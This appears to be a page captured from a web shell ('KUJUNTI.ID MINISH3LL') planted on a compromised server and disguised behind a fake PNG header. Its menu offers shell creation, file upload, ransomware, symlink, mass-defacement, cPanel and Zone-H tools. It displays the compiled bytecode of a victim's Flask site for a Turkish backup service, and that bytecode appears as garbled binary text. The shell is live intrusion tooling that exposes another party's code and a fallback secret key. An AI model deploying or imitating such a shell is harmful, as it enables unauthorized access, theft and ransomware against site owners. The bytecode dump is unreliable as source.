\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekle24/BackupShieldv1/__pycache__/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekle24/BackupShieldv1/__pycache__/app.cpython-310.pyc


o

��g*"�@sddlZddlZddlZddlmZmZmZmZmZm	Z	m
Z
mZmZddl
Z
ddlmZe�ee�Zej�dd�e_ej�d�Zej�d�Zdd	d
�Zejdd��Ze�d
�dd��Ze�d�dd��Ze�d�dd��Ze�d�dd��Ze�d�dd��Zejdddgd�d d!��Z e�d"�d#d$��Z!e�d%�d&d'��Z"e�d(�d)d*��Z#e�d+�d,d-��Z$e�d.�d/d0��Z%e�d1�d2d3��Z&e�d4�d5d6��Z'e�d7�d8d9��Z(e�)d:�d;d<��Z*e�)d=�d>d?��Z+e�d@�dAdB��Z,e�dC�dDdE��Z-edFk�rej.dGdHdIdJ�dSdS)K�N)	�Flask�render_template�request�redirect�url_for�session�flash�jsonify�abort)�load_dotenv�SESSION_SECRETzyedekledb24-secret-key�RECAPTCHA_SITE_KEY�RECAPTCHA_SECRET_KEY�EnglishuTürkçe)�en�trcCsttt�dd�td�S)N�languager)�	languages�current_language�recaptcha_site_key)�dict�	LANGUAGESr�getr
�rr�+/var/www/html/yedekle24/BackupShield/app.py�inject_globalss

�rz/set_language/<language>cCs|td<ttjptd��S)Nr�index)rrr�referrerr)rrrr�set_language sr�/cC�td�S)Nz
index.html�rrrrrr%�rz	/featurescCr )Nz
features.htmlr!rrrr�features)r"r#z/pricingcCr )Nzpricing.htmlr!rrrr�pricing-r"r$z/supportcCr )Nzsupport.htmlr!rrrr�support1r"r%z/contact�GET�POST)�methodscCsFtjdk�r��ztj�dd���}tj�dd���}tj�dd���}tj�dd���}tj�d�}tj�tj�tj�	t
��d	�}tj|d
d�tj�|dtj�
��d
��d��}t|ddd��'}tj�
��d�}|�d|�d|�d|�d|�dt|��d��Wd�n1s�wYg}	|s�|	�d�|s�|	�d�|s�|	�d�|	r�t|ddd��}|�d|�d|	�d��Wd�n1s�wYd|	vs�d|	vs�d|	vr�t�dd�d kr�td!d"�ntd#d"�ttd$��WSt�|��s6t|ddd��}|�d|�d%|�d��Wd�n	1�swYt�dd�d k�r*td&d"�ntd'd"�ttd$��WSt�|�\}
}t|ddd��}|�d|�d(|
�d)|�d��Wd�n	1�s_wY|
�s�t�dd�d k�r�d*|��v�r}td+d"�ntd,|��d"�nd*|��v�r�td-d"�ntd.|��d"�ttd$��WSd/dl}t|ddd��}|�d|�d0��Wd�n	1�s�wY|�||||�t�dd�d k�r�td1d2�ntd3d2�t|ddd��}|�d|�d4��Wd�n	1�s�wYttd$��WSt�y�}
z�d/dl}t|
�}|� �}tj�tj�tj�	t
��d	�}tj|d
d�tj�|d5tj�
��d
��d��}t|ddd��$}tj�
��d�}|�d|�d6|�d��|�|�d7��Wd�n	1�suwYt�dd�d k�r�td8d"�ntd9d"�ttd$��WYd}
~
Sd}
~
wwt!d:�S);Nr'�name��email�subjectuGenel İletişim�messagezg-recaptcha-response�logsT)�exist_ok�
contact_form_z%Y%m%dz.txt�azutf-8)�encodingz%Y-%m-%d %H:%M:%S�[u] FORM GÖNDERİMİ: name=z, email=z
, subject=z
, message=z
 karakter
�name_missing�
email_missing�message_missingz] Form validation errors: �
rrru(Lütfen tüm gerekli alanları doldurun.�dangerz#Please fill in all required fields.�contactu] Geçersiz e-posta formatı: u*Lütfen geçerli bir e-posta adresi girin.z#Please enter a valid email address.z] reCAPTCHA sonucu: z, hata: �requiredu-Lütfen robot olmadığınızı doğrulayın.u+reCAPTCHA doğrulaması başarısız oldu: z'Please verify that you are not a robot.zreCAPTCHA verification failed: ru.] Asenkron e-posta gönderimi başlatılıyor
uIMesajınız gönderildi. En kısa sürede size geri dönüş yapacağız.�successz<Your message has been sent. We will get back to you shortly.uB] İşlem tamamlandı, kullanıcıya başarı mesajı gösterildi
�error_z] HATA: z

uTİşlem sırasında beklenmeyen bir hata oluştu. Lütfen daha sonra tekrar deneyin.z5An unexpected error occurred. Please try again later.zcontact.html)"r�method�formr�strip�os�path�join�dirname�abspath�__file__�makedirs�datetime�now�strftime�open�write�len�appendrrrr�utils�is_valid_email�verify_recaptcha�lower�
email_service�send_email_async�	Exception�	traceback�str�
format_excr)r)r+r,r-�recaptcha_response�log_dir�log_file�f�	timestamp�errors�recaptcha_verified�recaptcha_errorrR�erU�	error_str�	trace_str�error_log_filerrrr95s�"0�


�
�
 ��
�"�
��r9z/democCr )Nzhttps://demo.yedekledb24.tr/)rrrrr�demo�srdz/cookie-policycCr )Nzcookie_policy.htmlr!rrrr�
cookie_policy�r"rez/kvkkcCr )Nz	kvkk.htmlr!rrrr�kvkk�r"rfz/privacy-policycCr )Nzprivacy_policy.htmlr!rrrr�privacy_policy�r"rgz/termscCr )Nz
terms.htmlr!rrrr�terms�r"rhz/robots.txtcC�
t�d�S)Nz
robots.txt��app�send_static_filerrrr�robots��
rmz/sitemap.xmlcCri)Nzsitemap.xmlrjrrrr�sitemap�rnroz/site.webmanifestcCri)Nzsite.webmanifestrjrrrr�webmanifest�rnrp�cC�t�dd�}td|td�dfS)Nrrz404.html�rrrq�rrrr�r`rrrr�page_not_found��rv��cCrr)Nrrz500.htmlrsrxrtrurrr�server_error�rwryz	/test-404cC�tjrtd�ttd��S)Nrqr�rk�debugr
rrrrrr�test_404��r}z	/test-500cCrz)Nrxrr{rrrr�test_500�r~r�__main__z0.0.0.0i�T)�host�portr|)/r@�requestsrG�flaskrrrrrrrr	r
rN�dotenvr�__name__rk�environr�
secret_keyr
rr�context_processorr�routerrr#r$r%r9rdrerfrgrhrmrorp�errorhandlerrvryr}r�runrrrr�<module>sn,�






v












�

© KUJUNTI.ID